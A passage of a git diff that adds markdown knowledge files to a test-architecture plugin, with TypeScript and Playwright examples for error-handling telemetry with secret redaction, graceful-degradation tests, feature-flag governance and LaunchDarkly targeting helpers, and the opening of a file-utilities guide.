+      redacted[key] = redactSensitiveData(redacted[key]);
+    }
+  }
+
+  return redacted;
+}
+
+/**
+ * Log error with context (Sentry integration)
+ */
+export function logError(error: Error, context?: ErrorContext) {
+  const safeContext = context ? redactSensitiveData(context) : {};
+
+  const errorLog = {
+    level: 'error' as const,
+    message: error.message,
+    stack: error.stack,
+    context: safeContext,
+    timestamp: new Date().toISOString(),
+  };
+
+  // Console (development)
+  console.error(JSON.stringify(errorLog));
+
+  // Sentry (production)
+  if (typeof window !== 'undefined' && (window as any).Sentry) {
+    (window as any).Sentry.captureException(error, {
+      contexts: { custom: safeContext },
+    });
+  }
+}
+```
+
+**Key Points**:
+
+- **Context-rich logging**: Endpoint, method, status, user ID
+- **Secret redaction**: Passwords, tokens, PII removed before logging
+- **Sentry integration**: Production monitoring with breadcrumbs
+- **Structured logs**: JSON format for easy parsing
+- **Test validation**: Assert logs contain context but not secrets
+
+---
+
+### Example 4: Graceful Degradation Tests (Fallback Behavior)
+
+**Context**: Validate application continues functioning when services are unavailable.
+
+**Implementation**:
+
+```typescript
+// tests/e2e/graceful-degradation.spec.ts
+import { test, expect } from '@playwright/test';
+
+/**
+ * Graceful Degradation Pattern
+ * - Simulate service unavailability
+ * - Validate fallback behavior
+ * - Ensure user experience degrades gracefully
+ * - Verify telemetry captures degradation events
+ */
+
+test.describe('Service Unavailability', () => {
+  test('should display cached data when API is down', async ({ page }) => {
+    // Arrange: Seed localStorage with cached data
+    await page.addInitScript(() => {
+      localStorage.setItem(
+        'products_cache',
+        JSON.stringify({
+          data: [
+            { id: 1, name: 'Cached Product 1' },
+            { id: 2, name: 'Cached Product 2' },
+          ],
+          timestamp: Date.now(),
+        }),
+      );
+    });
+
+    // Mock API unavailable
+    await page.route(
+      '**/api/products',
+      (route) => route.abort('connectionrefused'), // Simulate server down
+    );
+
+    // Act
+    await page.goto('/products');
+
+    // Assert: Cached data displayed
+    await expect(page.getByTestId('product-list')).toBeVisible();
+    await expect(page.getByText('Cached Product 1')).toBeVisible();
+
+    // Assert: Stale data warning shown
+    await expect(page.getByTestId('cache-warning')).toBeVisible();
+    await expect(page.getByTestId('cache-warning')).toContainText(/showing.*cached|offline.*mode/i);
+
+    // Assert: Retry button available
+    await expect(page.getByTestId('refresh-button')).toBeVisible();
+  });
+
+  test('should show fallback UI when analytics service fails', async ({ page }) => {
+    // Mock analytics service down (non-critical)
+    await page.route('**/analytics/track', (route) => route.fulfill({ status: 503, body: 'Service unavailable' }));
+
+    // Act: Navigate normally
+    await page.goto('/dashboard');
+
+    // Assert: Page loads successfully (analytics failure doesn't block)
+    await expect(page.getByTestId('dashboard-content')).toBeVisible();
+
+    // Assert: Analytics error logged but not shown to user
+    const consoleErrors = [];
+    page.on('console', (msg) => {
+      if (msg.type() === 'error') consoleErrors.push(msg.text());
+    });
+
+    // Trigger analytics event
+    await page.getByTestId('track-action-button').click();
+
+    // Analytics error logged
+    expect(consoleErrors).toContainEqual(expect.stringContaining('Analytics service unavailable'));
+
+    // But user doesn't see error
+    await expect(page.getByTestId('error-message')).not.toBeVisible();
+  });
+
+  test('should fallback to local validation when API is slow', async ({ page }) => {
+    // Mock slow API (> 5 seconds)
+    await page.route('**/api/validate-email', async (route) => {
+      await new Promise((resolve) => setTimeout(resolve, 6000)); // 6 second delay
+      route.fulfill({
+        status: 200,
+        body: JSON.stringify({ valid: true }),
+      });
+    });
+
+    // Act: Fill form
+    await page.goto('/signup');
+    await page.getByTestId('email-input').fill('test@example.com');
+    await page.getByTestId('email-input').blur();
+
+    // Assert: Client-side validation triggers immediately (doesn't wait for API)
+    await expect(page.getByTestId('email-valid-icon')).toBeVisible({ timeout: 1000 });
+
+    // Assert: Eventually API validates too (but doesn't block UX)
+    await expect(page.getByTestId('email-validated-badge')).toBeVisible({ timeout: 7000 });
+  });
+
+  test('should maintain functionality with third-party script failure', async ({ page }) => {
+    // Block third-party scripts (Google Analytics, Intercom, etc.)
+    await page.route('**/*.google-analytics.com/**', (route) => route.abort());
+    await page.route('**/*.intercom.io/**', (route) => route.abort());
+
+    // Act
+    await page.goto('/');
+
+    // Assert: App works without third-party scripts
+    await expect(page.getByTestId('main-content')).toBeVisible();
+    await expect(page.getByTestId('nav-menu')).toBeVisible();
+
+    // Assert: Core functionality intact
+    await page.getByTestId('nav-products').click();
+    await expect(page).toHaveURL(/.*\/products/);
+  });
+});
+```
+
+**Key Points**:
+
+- **Cached fallbacks**: Display stale data when API unavailable
+- **Non-critical degradation**: Analytics failures don't block app
+- **Client-side fallbacks**: Local validation when API slow
+- **Third-party resilience**: App works without external scripts
+- **User transparency**: Stale data warnings displayed
+
+---
+
+## Error Handling Testing Checklist
+
+Before shipping error handling code, verify:
+
+- [ ] **Scoped exception handling**: Only ignore documented errors (NetworkError, specific codes)
+- [ ] **Rethrow unexpected**: Unknown errors fail tests (catch regressions)
+- [ ] **Error UI tested**: User sees error messages for all error states
+- [ ] **Retry logic validated**: Sequential failures test backoff and max attempts
+- [ ] **Telemetry verified**: Errors logged with context (endpoint, status, user)
+- [ ] **Secret redaction**: Logs don't contain passwords, tokens, PII
+- [ ] **Graceful degradation**: Critical services down, app shows fallback UI
+- [ ] **Non-critical failures**: Analytics/tracking failures don't block app
+
+## Integration Points
+
+- Used in workflows: `*automate` (error handling test generation), `*test-review` (error pattern detection)
+- Related fragments: `network-first.md`, `test-quality.md`, `contract-testing.md`
+- Monitoring tools: Sentry, Datadog, LogRocket
+
+_Source: Murat error-handling patterns, Pact resilience guidance, enterprise production error handling_
diff --git a/plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/feature-flags.md b/plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/feature-flags.md
new file mode 100644
index 0000000..2b8a458
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/feature-flags.md
@@ -0,0 +1,750 @@
+# Feature Flag Governance
+
+## Principle
+
+Feature flags enable controlled rollouts and A/B testing, but require disciplined testing governance. Centralize flag definitions in a frozen enum, test both enabled and disabled states, clean up targeting after each spec, and maintain a comprehensive flag lifecycle checklist. For LaunchDarkly-style systems, script API helpers to seed variations programmatically rather than manual UI mutations.
+
+## Rationale
+
+Poorly managed feature flags become technical debt: untested variations ship broken code, forgotten flags clutter the codebase, and shared environments become unstable from leftover targeting rules. Structured governance ensures flags are testable, traceable, temporary, and safe. Testing both states prevents surprises when flags flip in production.
+
+## Pattern Examples
+
+### Example 1: Feature Flag Enum Pattern with Type Safety
+
+**Context**: Centralized flag management with TypeScript type safety and runtime validation.
+
+**Implementation**:
+
+```typescript
+// src/utils/feature-flags.ts
+/**
+ * Centralized feature flag definitions
+ * - Object.freeze prevents runtime modifications
+ * - TypeScript ensures compile-time type safety
+ * - Single source of truth for all flag keys
+ */
+export const FLAGS = Object.freeze({
+  // User-facing features
+  NEW_CHECKOUT_FLOW: 'new-checkout-flow',
+  DARK_MODE: 'dark-mode',
+  ENHANCED_SEARCH: 'enhanced-search',
+
+  // Experiments
+  PRICING_EXPERIMENT_A: 'pricing-experiment-a',
+  HOMEPAGE_VARIANT_B: 'homepage-variant-b',
+
+  // Infrastructure
+  USE_NEW_API_ENDPOINT: 'use-new-api-endpoint',
+  ENABLE_ANALYTICS_V2: 'enable-analytics-v2',
+
+  // Killswitches (emergency disables)
+  DISABLE_PAYMENT_PROCESSING: 'disable-payment-processing',
+  DISABLE_EMAIL_NOTIFICATIONS: 'disable-email-notifications',
+} as const);
+
+/**
+ * Type-safe flag keys
+ * Prevents typos and ensures autocomplete in IDEs
+ */
+export type FlagKey = (typeof FLAGS)[keyof typeof FLAGS];
+
+/**
+ * Flag metadata for governance
+ */
+type FlagMetadata = {
+  key: FlagKey;
+  name: string;
+  owner: string;
+  createdDate: string;
+  expiryDate?: string;
+  defaultState: boolean;
+  requiresCleanup: boolean;
+  dependencies?: FlagKey[];
+  telemetryEvents?: string[];
+};
+
+/**
+ * Flag registry with governance metadata
+ * Used for flag lifecycle tracking and cleanup alerts
+ */
+export const FLAG_REGISTRY: Record<FlagKey, FlagMetadata> = {
+  [FLAGS.NEW_CHECKOUT_FLOW]: {
+    key: FLAGS.NEW_CHECKOUT_FLOW,
+    name: 'New Checkout Flow',
+    owner: 'payments-team',
+    createdDate: '2025-01-15',
+    expiryDate: '2025-03-15',
+    defaultState: false,
+    requiresCleanup: true,
+    dependencies: [FLAGS.USE_NEW_API_ENDPOINT],
+    telemetryEvents: ['checkout_started', 'checkout_completed'],
+  },
+  [FLAGS.DARK_MODE]: {
+    key: FLAGS.DARK_MODE,
+    name: 'Dark Mode UI',
+    owner: 'frontend-team',
+    createdDate: '2025-01-10',
+    defaultState: false,
+    requiresCleanup: false, // Permanent feature toggle
+  },
+  // ... rest of registry
+};
+
+/**
+ * Validate flag exists in registry
+ * Throws at runtime if flag is unregistered
+ */
+export function validateFlag(flag: string): asserts flag is FlagKey {
+  if (!Object.values(FLAGS).includes(flag as FlagKey)) {
+    throw new Error(`Unregistered feature flag: ${flag}`);
+  }
+}
+
+/**
+ * Check if flag is expired (needs removal)
+ */
+export function isFlagExpired(flag: FlagKey): boolean {
+  const metadata = FLAG_REGISTRY[flag];
+  if (!metadata.expiryDate) return false;
+
+  const expiry = new Date(metadata.expiryDate);
+  return Date.now() > expiry.getTime();
+}
+
+/**
+ * Get all expired flags requiring cleanup
+ */
+export function getExpiredFlags(): FlagMetadata[] {
+  return Object.values(FLAG_REGISTRY).filter((meta) => isFlagExpired(meta.key));
+}
+```
+
+**Usage in application code**:
+
+```typescript
+// components/Checkout.tsx
+import { FLAGS } from '@/utils/feature-flags';
+import { useFeatureFlag } from '@/hooks/useFeatureFlag';
+
+export function Checkout() {
+  const isNewFlow = useFeatureFlag(FLAGS.NEW_CHECKOUT_FLOW);
+
+  return isNewFlow ? <NewCheckoutFlow /> : <LegacyCheckoutFlow />;
+}
+```
+
+**Key Points**:
+
+- **Type safety**: TypeScript catches typos at compile time
+- **Runtime validation**: validateFlag ensures only registered flags used
+- **Metadata tracking**: Owner, dates, dependencies documented
+- **Expiry alerts**: Automated detection of stale flags
+- **Single source of truth**: All flags defined in one place
+
+---
+
+### Example 2: Feature Flag Testing Pattern (Both States)
+
+**Context**: Comprehensive testing of feature flag variations with proper cleanup.
+
+**Implementation**:
+
+```typescript
+// tests/e2e/checkout-feature-flag.spec.ts
+import { test, expect } from '@playwright/test';
+import { FLAGS } from '@/utils/feature-flags';
+
+/**
+ * Feature Flag Testing Strategy:
+ * 1. Test BOTH enabled and disabled states
+ * 2. Clean up targeting after each test
+ * 3. Use dedicated test users (not production data)
+ * 4. Verify telemetry events fire correctly
+ */
+
+test.describe('Checkout Flow - Feature Flag Variations', () => {
+  let testUserId: string;
+
+  test.beforeEach(async () => {
+    // Generate unique test user ID
+    testUserId = `test-user-${Date.now()}`;
+  });
+
+  test.afterEach(async ({ request }) => {
+    // CRITICAL: Clean up flag targeting to prevent shared env pollution
+    await request.post('/api/feature-flags/cleanup', {
+      data: {
+        flagKey: FLAGS.NEW_CHECKOUT_FLOW,
+        userId: testUserId,
+      },
+    });
+  });
+
+  test('should use NEW checkout flow when flag is ENABLED', async ({ page, request }) => {
+    // Arrange: Enable flag for test user
+    await request.post('/api/feature-flags/target', {
+      data: {
+        flagKey: FLAGS.NEW_CHECKOUT_FLOW,
+        userId: testUserId,
+        variation: true, // ENABLED
+      },
+    });
+
+    // Act: Navigate as targeted user
+    await page.goto('/checkout', {
+      extraHTTPHeaders: {
+        'X-Test-User-ID': testUserId,
+      },
+    });
+
+    // Assert: New flow UI elements visible
+    await expect(page.getByTestId('checkout-v2-container')).toBeVisible();
+    await expect(page.getByTestId('express-payment-options')).toBeVisible();
+    await expect(page.getByTestId('saved-addresses-dropdown')).toBeVisible();
+
+    // Assert: Legacy flow NOT visible
+    await expect(page.getByTestId('checkout-v1-container')).not.toBeVisible();
+
+    // Assert: Telemetry event fired
+    const analyticsEvents = await page.evaluate(() => (window as any).__ANALYTICS_EVENTS__ || []);
+    expect(analyticsEvents).toContainEqual(
+      expect.objectContaining({
+        event: 'checkout_started',
+        properties: expect.objectContaining({
+          variant: 'new_flow',
+        }),
+      }),
+    );
+  });
+
+  test('should use LEGACY checkout flow when flag is DISABLED', async ({ page, request }) => {
+    // Arrange: Disable flag for test user (or don't target at all)
+    await request.post('/api/feature-flags/target', {
+      data: {
+        flagKey: FLAGS.NEW_CHECKOUT_FLOW,
+        userId: testUserId,
+        variation: false, // DISABLED
+      },
+    });
+
+    // Act: Navigate as targeted user
+    await page.goto('/checkout', {
+      extraHTTPHeaders: {
+        'X-Test-User-ID': testUserId,
+      },
+    });
+
+    // Assert: Legacy flow UI elements visible
+    await expect(page.getByTestId('checkout-v1-container')).toBeVisible();
+    await expect(page.getByTestId('legacy-payment-form')).toBeVisible();
+
+    // Assert: New flow NOT visible
+    await expect(page.getByTestId('checkout-v2-container')).not.toBeVisible();
+    await expect(page.getByTestId('express-payment-options')).not.toBeVisible();
+
+    // Assert: Telemetry event fired with correct variant
+    const analyticsEvents = await page.evaluate(() => (window as any).__ANALYTICS_EVENTS__ || []);
+    expect(analyticsEvents).toContainEqual(
+      expect.objectContaining({
+        event: 'checkout_started',
+        properties: expect.objectContaining({
+          variant: 'legacy_flow',
+        }),
+      }),
+    );
+  });
+
+  test('should handle flag evaluation errors gracefully', async ({ page, request }) => {
+    // Arrange: Simulate flag service unavailable
+    await page.route('**/api/feature-flags/evaluate', (route) => route.fulfill({ status: 500, body: 'Service Unavailable' }));
+
+    // Act: Navigate (should fallback to default state)
+    await page.goto('/checkout', {
+      extraHTTPHeaders: {
+        'X-Test-User-ID': testUserId,
+      },
+    });
+
+    // Assert: Fallback to safe default (legacy flow)
+    await expect(page.getByTestId('checkout-v1-container')).toBeVisible();
+
+    // Assert: Error logged but no user-facing error
+    const consoleErrors = [];
+    page.on('console', (msg) => {
+      if (msg.type() === 'error') consoleErrors.push(msg.text());
+    });
+    expect(consoleErrors).toContain(expect.stringContaining('Feature flag evaluation failed'));
+  });
+});
+```
+
+**Cypress equivalent**:
+
+```javascript
+// cypress/e2e/checkout-feature-flag.cy.ts
+import { FLAGS } from '@/utils/feature-flags';
+
+describe('Checkout Flow - Feature Flag Variations', () => {
+  let testUserId;
+
+  beforeEach(() => {
+    testUserId = `test-user-${Date.now()}`;
+  });
+
+  afterEach(() => {
+    // Clean up targeting
+    cy.task('removeFeatureFlagTarget', {
+      flagKey: FLAGS.NEW_CHECKOUT_FLOW,
+      userId: testUserId,
+    });
+  });
+
+  it('should use NEW checkout flow when flag is ENABLED', () => {
+    // Arrange: Enable flag via Cypress task
+    cy.task('setFeatureFlagVariation', {
+      flagKey: FLAGS.NEW_CHECKOUT_FLOW,
+      userId: testUserId,
+      variation: true,
+    });
+
+    // Act
+    cy.visit('/checkout', {
+      headers: { 'X-Test-User-ID': testUserId },
+    });
+
+    // Assert
+    cy.get('[data-testid="checkout-v2-container"]').should('be.visible');
+    cy.get('[data-testid="checkout-v1-container"]').should('not.exist');
+  });
+
+  it('should use LEGACY checkout flow when flag is DISABLED', () => {
+    // Arrange: Disable flag
+    cy.task('setFeatureFlagVariation', {
+      flagKey: FLAGS.NEW_CHECKOUT_FLOW,
+      userId: testUserId,
+      variation: false,
+    });
+
+    // Act
+    cy.visit('/checkout', {
+      headers: { 'X-Test-User-ID': testUserId },
+    });
+
+    // Assert
+    cy.get('[data-testid="checkout-v1-container"]').should('be.visible');
+    cy.get('[data-testid="checkout-v2-container"]').should('not.exist');
+  });
+});
+```
+
+**Key Points**:
+
+- **Test both states**: Enabled AND disabled variations
+- **Automatic cleanup**: afterEach removes targeting (prevent pollution)
+- **Unique test users**: Avoid conflicts with real user data
+- **Telemetry validation**: Verify analytics events fire correctly
+- **Graceful degradation**: Test fallback behavior on errors
+
+---
+
+### Example 3: Feature Flag Targeting Helper Pattern
+
+**Context**: Reusable helpers for programmatic flag control via LaunchDarkly/Split.io API.
+
+**Implementation**:
+
+```typescript
+// tests/support/feature-flag-helpers.ts
+import { request as playwrightRequest } from '@playwright/test';
+import { FLAGS, FlagKey } from '@/utils/feature-flags';
+
+/**
+ * LaunchDarkly API client configuration
+ * Use test project SDK key (NOT production)
+ */
+const LD_SDK_KEY = process.env.LD_SDK_KEY_TEST;
+const LD_API_BASE = 'https://app.launchdarkly.com/api/v2';
+
+type FlagVariation = boolean | string | number | object;
+
+/**
+ * Set flag variation for specific user
+ * Uses LaunchDarkly API to create user target
+ */
+export async function setFlagForUser(flagKey: FlagKey, userId: string, variation: FlagVariation): Promise<void> {
+  const response = await playwrightRequest.newContext().then((ctx) =>
+    ctx.post(`${LD_API_BASE}/flags/${flagKey}/targeting`, {
+      headers: {
+        Authorization: LD_SDK_KEY!,
+        'Content-Type': 'application/json',
+      },
+      data: {
+        targets: [
+          {
+            values: [userId],
+            variation: variation ? 1 : 0, // 0 = off, 1 = on
+          },
+        ],
+      },
+    }),
+  );
+
+  if (!response.ok()) {
+    throw new Error(`Failed to set flag ${flagKey} for user ${userId}: ${response.status()}`);
+  }
+}
+
+/**
+ * Remove user from flag targeting
+ * CRITICAL for test cleanup
+ */
+export async function removeFlagTarget(flagKey: FlagKey, userId: string): Promise<void> {
+  const response = await playwrightRequest.newContext().then((ctx) =>
+    ctx.delete(`${LD_API_BASE}/flags/${flagKey}/targeting/users/${userId}`, {
+      headers: {
+        Authorization: LD_SDK_KEY!,
+      },
+    }),
+  );
+
+  if (!response.ok() && response.status() !== 404) {
+    // 404 is acceptable (user wasn't targeted)
+    throw new Error(`Failed to remove flag ${flagKey} target for user ${userId}: ${response.status()}`);
+  }
+}
+
+/**
+ * Percentage rollout helper
+ * Enable flag for N% of users
+ */
+export async function setFlagRolloutPercentage(flagKey: FlagKey, percentage: number): Promise<void> {
+  if (percentage < 0 || percentage > 100) {
+    throw new Error('Percentage must be between 0 and 100');
+  }
+
+  const response = await playwrightRequest.newContext().then((ctx) =>
+    ctx.patch(`${LD_API_BASE}/flags/${flagKey}`, {
+      headers: {
+        Authorization: LD_SDK_KEY!,
+        'Content-Type': 'application/json',
+      },
+      data: {
+        rollout: {
+          variations: [
+            { variation: 0, weight: 100 - percentage }, // off
+            { variation: 1, weight: percentage }, // on
+          ],
+        },
+      },
+    }),
+  );
+
+  if (!response.ok()) {
+    throw new Error(`Failed to set rollout for flag ${flagKey}: ${response.status()}`);
+  }
+}
+
+/**
+ * Enable flag globally (100% rollout)
+ */
+export async function enableFlagGlobally(flagKey: FlagKey): Promise<void> {
+  await setFlagRolloutPercentage(flagKey, 100);
+}
+
+/**
+ * Disable flag globally (0% rollout)
+ */
+export async function disableFlagGlobally(flagKey: FlagKey): Promise<void> {
+  await setFlagRolloutPercentage(flagKey, 0);
+}
+
+/**
+ * Stub feature flags in local/test environments
+ * Bypasses LaunchDarkly entirely
+ */
+export function stubFeatureFlags(flags: Record<FlagKey, FlagVariation>): void {
+  // Set flags in localStorage or inject into window
+  if (typeof window !== 'undefined') {
+    (window as any).__STUBBED_FLAGS__ = flags;
+  }
+}
+```
+
+**Usage in Playwright fixture**:
+
+```typescript
+// playwright/fixtures/feature-flag-fixture.ts
+import { test as base } from '@playwright/test';
+import { setFlagForUser, removeFlagTarget } from '../support/feature-flag-helpers';
+import { FlagKey } from '@/utils/feature-flags';
+
+type FeatureFlagFixture = {
+  featureFlags: {
+    enable: (flag: FlagKey, userId: string) => Promise<void>;
+    disable: (flag: FlagKey, userId: string) => Promise<void>;
+    cleanup: (flag: FlagKey, userId: string) => Promise<void>;
+  };
+};
+
+export const test = base.extend<FeatureFlagFixture>({
+  featureFlags: async ({}, use) => {
+    const cleanupQueue: Array<{ flag: FlagKey; userId: string }> = [];
+
+    await use({
+      enable: async (flag, userId) => {
+        await setFlagForUser(flag, userId, true);
+        cleanupQueue.push({ flag, userId });
+      },
+      disable: async (flag, userId) => {
+        await setFlagForUser(flag, userId, false);
+        cleanupQueue.push({ flag, userId });
+      },
+      cleanup: async (flag, userId) => {
+        await removeFlagTarget(flag, userId);
+      },
+    });
+
+    // Auto-cleanup after test
+    for (const { flag, userId } of cleanupQueue) {
+      await removeFlagTarget(flag, userId);
+    }
+  },
+});
+```
+
+**Key Points**:
+
+- **API-driven control**: No manual UI clicks required
+- **Auto-cleanup**: Fixture tracks and removes targeting
+- **Percentage rollouts**: Test gradual feature releases
+- **Stubbing option**: Local development without LaunchDarkly
+- **Type-safe**: FlagKey prevents typos
+
+---
+
+### Example 4: Feature Flag Lifecycle Checklist & Cleanup Strategy
+
+**Context**: Governance checklist and automated cleanup detection for stale flags.
+
+**Implementation**:
+
+```typescript
+// scripts/feature-flag-audit.ts
+/**
+ * Feature Flag Lifecycle Audit Script
+ * Run weekly to detect stale flags requiring cleanup
+ */
+
+import { FLAG_REGISTRY, FLAGS, getExpiredFlags, FlagKey } from '../src/utils/feature-flags';
+import * as fs from 'fs';
+import * as path from 'path';
+
+type AuditResult = {
+  totalFlags: number;
+  expiredFlags: FlagKey[];
+  missingOwners: FlagKey[];
+  missingDates: FlagKey[];
+  permanentFlags: FlagKey[];
+  flagsNearingExpiry: FlagKey[];
+};
+
+/**
+ * Audit all feature flags for governance compliance
+ */
+function auditFeatureFlags(): AuditResult {
+  const allFlags = Object.keys(FLAG_REGISTRY) as FlagKey[];
+  const expiredFlags = getExpiredFlags().map((meta) => meta.key);
+
+  // Flags expiring in next 30 days
+  const thirtyDaysFromNow = Date.now() + 30 * 24 * 60 * 60 * 1000;
+  const flagsNearingExpiry = allFlags.filter((flag) => {
+    const meta = FLAG_REGISTRY[flag];
+    if (!meta.expiryDate) return false;
+    const expiry = new Date(meta.expiryDate).getTime();
+    return expiry > Date.now() && expiry < thirtyDaysFromNow;
+  });
+
+  // Missing metadata
+  const missingOwners = allFlags.filter((flag) => !FLAG_REGISTRY[flag].owner);
+  const missingDates = allFlags.filter((flag) => !FLAG_REGISTRY[flag].createdDate);
+
+  // Permanent flags (no expiry, requiresCleanup = false)
+  const permanentFlags = allFlags.filter((flag) => {
+    const meta = FLAG_REGISTRY[flag];
+    return !meta.expiryDate && !meta.requiresCleanup;
+  });
+
+  return {
+    totalFlags: allFlags.length,
+    expiredFlags,
+    missingOwners,
+    missingDates,
+    permanentFlags,
+    flagsNearingExpiry,
+  };
+}
+
+/**
+ * Generate markdown report
+ */
+function generateReport(audit: AuditResult): string {
+  let report = `# Feature Flag Audit Report\n\n`;
+  report += `**Date**: ${new Date().toISOString()}\n`;
+  report += `**Total Flags**: ${audit.totalFlags}\n\n`;
+
+  if (audit.expiredFlags.length > 0) {
+    report += `## ⚠️ EXPIRED FLAGS - IMMEDIATE CLEANUP REQUIRED\n\n`;
+    audit.expiredFlags.forEach((flag) => {
+      const meta = FLAG_REGISTRY[flag];
+      report += `- **${meta.name}** (\`${flag}\`)\n`;
+      report += `  - Owner: ${meta.owner}\n`;
+      report += `  - Expired: ${meta.expiryDate}\n`;
+      report += `  - Action: Remove flag code, update tests, deploy\n\n`;
+    });
+  }
+
+  if (audit.flagsNearingExpiry.length > 0) {
+    report += `## ⏰ FLAGS EXPIRING SOON (Next 30 Days)\n\n`;
+    audit.flagsNearingExpiry.forEach((flag) => {
+      const meta = FLAG_REGISTRY[flag];
+      report += `- **${meta.name}** (\`${flag}\`)\n`;
+      report += `  - Owner: ${meta.owner}\n`;
+      report += `  - Expires: ${meta.expiryDate}\n`;
+      report += `  - Action: Plan cleanup or extend expiry\n\n`;
+    });
+  }
+
+  if (audit.permanentFlags.length > 0) {
+    report += `## 🔄 PERMANENT FLAGS (No Expiry)\n\n`;
+    audit.permanentFlags.forEach((flag) => {
+      const meta = FLAG_REGISTRY[flag];
+      report += `- **${meta.name}** (\`${flag}\`) - Owner: ${meta.owner}\n`;
+    });
+    report += `\n`;
+  }
+
+  if (audit.missingOwners.length > 0 || audit.missingDates.length > 0) {
+    report += `## ❌ GOVERNANCE ISSUES\n\n`;
+    if (audit.missingOwners.length > 0) {
+      report += `**Missing Owners**: ${audit.missingOwners.join(', ')}\n`;
+    }
+    if (audit.missingDates.length > 0) {
+      report += `**Missing Created Dates**: ${audit.missingDates.join(', ')}\n`;
+    }
+    report += `\n`;
+  }
+
+  return report;
+}
+
+/**
+ * Feature Flag Lifecycle Checklist
+ */
+const FLAG_LIFECYCLE_CHECKLIST = `
+# Feature Flag Lifecycle Checklist
+
+## Before Creating a New Flag
+
+- [ ] **Name**: Follow naming convention (kebab-case, descriptive)
+- [ ] **Owner**: Assign team/individual responsible
+- [ ] **Default State**: Determine safe default (usually false)
+- [ ] **Expiry Date**: Set removal date (30-90 days typical)
+- [ ] **Dependencies**: Document related flags
+- [ ] **Telemetry**: Plan analytics events to track
+- [ ] **Rollback Plan**: Define how to disable quickly
+
+## During Development
+
+- [ ] **Code Paths**: Both enabled/disabled states implemented
+- [ ] **Tests**: Both variations tested in CI
+- [ ] **Documentation**: Flag purpose documented in code/PR
+- [ ] **Telemetry**: Analytics events instrumented
+- [ ] **Error Handling**: Graceful degradation on flag service failure
+
+## Before Launch
+
+- [ ] **QA**: Both states tested in staging
+- [ ] **Rollout Plan**: Gradual rollout percentage defined
+- [ ] **Monitoring**: Dashboards/alerts for flag-related metrics
+- [ ] **Stakeholder Communication**: Product/design aligned
+
+## After Launch (Monitoring)
+
+- [ ] **Metrics**: Success criteria tracked
+- [ ] **Error Rates**: No increase in errors
+- [ ] **Performance**: No degradation
+- [ ] **User Feedback**: Qualitative data collected
+
+## Cleanup (Post-Launch)
+
+- [ ] **Remove Flag Code**: Delete if/else branches
+- [ ] **Update Tests**: Remove flag-specific tests
+- [ ] **Remove Targeting**: Clear all user targets
+- [ ] **Delete Flag Config**: Remove from LaunchDarkly/registry
+- [ ] **Update Documentation**: Remove references
+- [ ] **Deploy**: Ship cleanup changes
+`;
+
+// Run audit
+const audit = auditFeatureFlags();
+const report = generateReport(audit);
+
+// Save report
+const outputPath = path.join(__dirname, '../feature-flag-audit-report.md');
+fs.writeFileSync(outputPath, report);
+fs.writeFileSync(path.join(__dirname, '../FEATURE-FLAG-CHECKLIST.md'), FLAG_LIFECYCLE_CHECKLIST);
+
+console.log(`✅ Audit complete. Report saved to: ${outputPath}`);
+console.log(`Total flags: ${audit.totalFlags}`);
+console.log(`Expired flags: ${audit.expiredFlags.length}`);
+console.log(`Flags expiring soon: ${audit.flagsNearingExpiry.length}`);
+
+// Exit with error if expired flags exist
+if (audit.expiredFlags.length > 0) {
+  console.error(`\n❌ EXPIRED FLAGS DETECTED - CLEANUP REQUIRED`);
+  process.exit(1);
+}
+```
+
+**package.json scripts**:
+
+```json
+{
+  "scripts": {
+    "feature-flags:audit": "ts-node scripts/feature-flag-audit.ts",
+    "feature-flags:audit:ci": "npm run feature-flags:audit || true"
+  }
+}
+```
+
+**Key Points**:
+
+- **Automated detection**: Weekly audit catches stale flags
+- **Lifecycle checklist**: Comprehensive governance guide
+- **Expiry tracking**: Flags auto-expire after defined date
+- **CI integration**: Audit runs in pipeline, warns on expiry
+- **Ownership clarity**: Every flag has assigned owner
+
+---
+
+## Feature Flag Testing Checklist
+
+Before merging flag-related code, verify:
+
+- [ ] **Both states tested**: Enabled AND disabled variations covered
+- [ ] **Cleanup automated**: afterEach removes targeting (no manual cleanup)
+- [ ] **Unique test data**: Test users don't collide with production
+- [ ] **Telemetry validated**: Analytics events fire for both variations
+- [ ] **Error handling**: Graceful fallback when flag service unavailable
+- [ ] **Flag metadata**: Owner, dates, dependencies documented in registry
+- [ ] **Rollback plan**: Clear steps to disable flag in production
+- [ ] **Expiry date set**: Removal date defined (or marked permanent)
+
+## Integration Points
+
+- Used in workflows: `*automate` (test generation), `*framework` (flag setup)
+- Related fragments: `test-quality.md`, `selective-testing.md`
+- Flag services: LaunchDarkly, Split.io, Unleash, custom implementations
+
+_Source: LaunchDarkly strategy blog, Murat test architecture notes, enterprise feature flag governance_
diff --git a/plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/file-utils.md b/plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/file-utils.md
new file mode 100644
index 0000000..b515d24
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/file-utils.md
@@ -0,0 +1,456 @@
+# File Utilities
+
+## Principle
+
+Read and validate files (CSV, XLSX, PDF, ZIP) with automatic parsing, type-safe results, and download handling. Simplify file operations in Playwright tests with built-in format support and validation helpers.
+
+## Rationale
+
+Testing file operations in Playwright requires boilerplate:
+
+- Manual download handling
+- External parsing libraries for each format
+- No validation helpers
+- Type-unsafe results
+- Repetitive path handling
+
+The `file-utils` module provides:
+
+- **Auto-parsing**: CSV, XLSX, PDF, ZIP automatically parsed
+- **Download handling**: Single function for UI or API-triggered downloads
+- **Type-safe**: TypeScript interfaces for parsed results
+- **Validation helpers**: Row count, header checks, content validation
+- **Format support**: Multiple sheet support (XLSX), text extraction (PDF), archive extraction (ZIP)
+
+## Why Use This Instead of Vanilla Playwright?
+
+| Vanilla Playwright                          | File Utils                                       |
+| ------------------------------------------- | ------------------------------------------------ |
+| ~80 lines per CSV flow (download + parse)   | ~10 lines end-to-end                             |
+| Manual event orchestration for downloads    | Encapsulated in `handleDownload()`               |
+| Manual path handling and `saveAs`           | Returns a ready-to-use file path                 |
+| Manual existence checks and error handling  | Centralized in one place via utility patterns    |
+| Manual CSV parsing config (headers, typing) | `readCSV()` returns `{ data, headers }` directly |
+
+## Pattern Examples
+
+### Example 1: UI-Triggered CSV Download
+
+**Context**: User clicks button, CSV downloads, validate contents.
+
+**Implementation**:
+
+```typescript
+import { handleDownload, readCSV } from '@seontechnologies/playwright-utils/file-utils';
+import path from 'node:path';
+
+const DOWNLOAD_DIR = path.join(__dirname, '../downloads');
+
